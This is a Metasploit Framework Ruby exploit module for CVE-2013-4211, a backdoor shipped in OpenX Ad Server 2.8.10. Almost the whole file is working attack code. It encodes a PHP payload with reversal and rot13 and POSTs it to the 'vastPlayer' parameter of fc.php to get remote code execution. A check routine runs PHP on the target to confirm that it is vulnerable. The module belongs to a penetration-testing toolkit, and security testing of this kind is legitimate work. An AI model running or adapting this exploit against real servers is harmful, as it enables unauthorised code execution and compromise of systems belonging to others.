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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'OpenX Backdoor PHP Code Execution', 'Description'=> %q{ OpenX Ad Server version 2.8.10 was shipped with an obfuscated backdoor since at least November 2012 through August 2013. Exploitation is simple, requiring only a single request with a rot13'd and reversed payload. }, 'Author' => [ 'egypt', # Metasploit module, shouts to bperry for hooking me up with the vuln software 'Unknown', # Someone planted this backdoor... ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2013-4211' ], [ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'], [ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'], ], 'Privileged' => false, 'Payload'=> { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as POST data, so # really it's unlimited 'Space' => 262144, # 256k }, 'DisclosureDate' => 'Aug 07 2013', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [[ 'Generic (PHP payload)', { }]], 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]), ], self.class) end def check token = rand_text_alpha(20) response = execute_php("echo '#{token} '.phpversion();die();") if response.nil? CheckCode::Unknown elsif response.body =~ /#{token} ((:?\d\.?)+)/ print_status("PHP Version #{$1}") return CheckCode::Vulnerable end return CheckCode::Safe end def exploit execute_php(payload.encoded) handler end def execute_php(php_code) money = rot13(php_code.reverse) begin response = send_request_cgi( { 'method' => "POST", 'global' => true, 'uri'=> normalize_uri(target_uri.path,"www","delivery","fc.php"), 'vars_get' => { 'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js", 'script' => 'deliveryLog:vastServeVideoPlayer:player' }, 'vars_post' => { 'vastPlayer' => money }, }, 0.1) rescue ::Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) rescue ::OpenSSL::SSL::SSLError fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?") end response end def rot13(str) str.tr! "A-Za-z", "N-ZA-Mn-za-m" end end |
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